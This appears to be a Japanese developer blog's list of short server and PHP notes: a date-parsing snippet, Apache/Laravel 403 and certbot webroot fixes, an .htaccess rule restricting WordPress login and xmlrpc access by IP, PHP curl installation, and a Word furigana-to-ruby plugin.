    WordPress アドレス (URL) http://domain.com/wp/
    サイトアドレス (URL) http://domain.com/

  • Oct 1-12 ,Fri 12:22 のフォーマット済みの日付を日付型に逆フォーマットするやつ

    date_default_timezone_set […]

     
    date_default_timezone_set('America/Los_Angeles');
    // 計算するので現地の時間でやる
    $usweek = ['Sunday'=>0,'Monday'=>1,'Tuesday'=>2,'Wednesday'=>3,'Thursday'=>4,'Friday'=>5,'Saturday'=>6];
    $usmonth = ['Jan'=>1,'Feb'=>2,'Mar'=>3,'Apr'=>4,'May'=>5,'June'=>6,'July'=>7,'Augt'=>8,'Sept'=>9,'Oct'=>10,'Nov'=>11,'Dec'=>12,];
    
    $ending = 'Friday at 11:21PM PDT';  //  入力例1
    $ending = 'Oct 12 at 5:14PM PDT';   //      2
    $ending = 'Today at 11:57PM PDT';   //      3
    
    $endings = explode(" ", $ending);
    $now = new DateTime();
    
    if( array_key_exists( $endings[0] ,$usweek )){
      // 曜日から始まってる
        $apm = substr($endings[2], -2);
        $hmt = str_replace($apm ,'' , $endings[2]);
        $w = date('w', $now->getTimestamp());  //今日の曜日  4 
        $deff = $usweek[$endings[0]] - $w;    //1 日後
        echo date("Y-m-d",strtotime("+$deff day"))," " , date('H:i',strtotime($endings[2])),"
    ";   //17:21 ok
    
    }elseif(array_key_exists( $endings[0] ,$usmonth )){
        $endday = $usmonth[$endings[0]].'-'. $endings[1].' '. date('H:i',strtotime( $endings[3]));
        if(date("m-d H:i") < $endday){
          echo date("Y") .'-'.$endday;
        }else{ 
          echo date("Y",strtotime("+1 year")).'-'.$endday;
        }
    }elseif( $endings[0] == 'Today'){
        echo date("Y-m-d")." " . date('H:i',strtotime($endings[2])) ;
    }
    
     
  • 403 Forbidden Laravel Apache VirtualHost 443 の解決

    sudo vi /etc/httpd/conf.d […]

     
    sudo vi /etc/httpd/conf.d/ssl.conf
    
    // ドキュメントルートを/var/www/laravel/publicへ変更
    DocumentRoot "/var/www/laravel/public"
    
    <Directory "/var/www/laravel/public">
        AllowOverride All
    #       Options Indexes    ←コイツが邪魔をして access forbidden が出ていた
              		    ファイルの一覧をだそうとするのは許可されてないらしい
        Require all granted
    
    
    $ sudo systemctl restart httpd.service
    
     

    Laravelじゃない場合の対処

     
    <VirtualHost *:80>
        ServerName tanaka.org
        DocumentRoot /home/tanaka
        <Directory "/home/tanaka">
    	AllowOverride All
            Order allow,deny
            Allow from all
         	 Require all granted ← これを追加する
       </Directory>
    </VirtualHost>
    
     
  • Apache 特定ファイルへのアクセスをIPで制限.htaccess

    WordPressの定番アタックを阻止する wpイ […]

    WordPressの定番アタックを阻止する
    wpインストールディレクトリの .htaccessへ追記する

     
    
    
    <Files ~ "(wp-cron|wp-login|xmlrpc)\.php$">
        Order deny,allow
        Allow from xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy
        Deny from all
    </Files>
    #アタックの多いファイルは0。0。0。0へリダイレクト
    RewriteEngine On
    RewriteBase /
    RewriteRule ^xmlrpc\.php "http\:\/\/0\.0\.0\.0\/" [R=301,L]
    RewriteRule ^wp-cron\.php "http\:\/\/0\.0\.0\.0\/" [R=301,L]
    RewriteRule ^xmlrpc\.php "http\:\/\/0\.0\.0\.0\/" [R=301,L]
    RewriteRule ^wp\/wp-cron\.php "http\:\/\/0\.0\.0\.0\/" [R=301,L]
    RewriteRule ^(.*\.xml)$ "http\:\/\/0\.0\.0\.0\/" [R=301,L]
    RewriteRule ^(.*\.gm)$ "http\:\/\/0\.0\.0\.0\/" [R=301,L]
    
     

    xxx yyy は許可するIP
    自身のIPは200、不許可IPは403のステータスコードが返される

  • Failed authorization procedure

    Failed authorization proc […]

    Failed authorization procedure. example.hopto.org (http-01): urn:ietf:params:acme:error:unauthorized :: The client lacks sufficient authorization :: Invalid response from
    認証手順が失敗しました.クライアントの権限が足りない::無効な応答
    Apacheのconfファイルで設定しているドキュメントルートとコマンドのドキュメントルートが違う場合にも起こるエラー

     
    certbot certonly --webroot -w /var/www/laravel -d example.hopto.org
    フレームワークの場合ドキュメントルートを変更するので,こうするのが正しい↓
    certbot certonly --webroot -w /var/www/laravel/project-name/public -d example.hopto.org
     
  • ubuntu php curl install

    phpinfo() モジュールの保存場所を確認 e […]

    phpinfo() モジュールの保存場所を確認
    extension_dir /usr/lib/php/20170718 ←ここ

    php 配置済みモジュールの確認

    curl.so がなければインストール
    まずはアップデート

    インストール

    php 配置済みモジュールの確認

    curl.so ← ある

    Apache再起動

    phpinfo() で確認
    cURL support enabled

  • Wordルビ タグ自動変換 プラグイン

    Wordでふったルビをhtmlタグに変換するプラグ […]

    Wordでふったルビをhtmlタグに変換するプラグインです
    通常,Windowsでこれをエディタへ貼り付けると

    こうなります↓

    祗園(ぎおん)精舎(しょうじゃ)の鐘の声(こえ)、
    諸行無常(しょぎょうむじょう)の響きあり。
    娑羅双樹(さらそうじゅ)の花の色、
    盛者必衰(じょうしゃひっすい)の理(ことわり)をあらは(わ)す。
    おごれる人も久しからず、
    唯(ただ)春(はる)の夜の夢のごとし。
    たけき者も遂にはほろびぬ、
    偏(ひとえ)に風の前の塵に同じ。

    このプラグインを使うと一括でタグへ変換します

    システム単独でも使えます

    メールアドレス:
    お電話番号:
    会社名:
    お名前:
    ご予算:
    お問い合わせ内容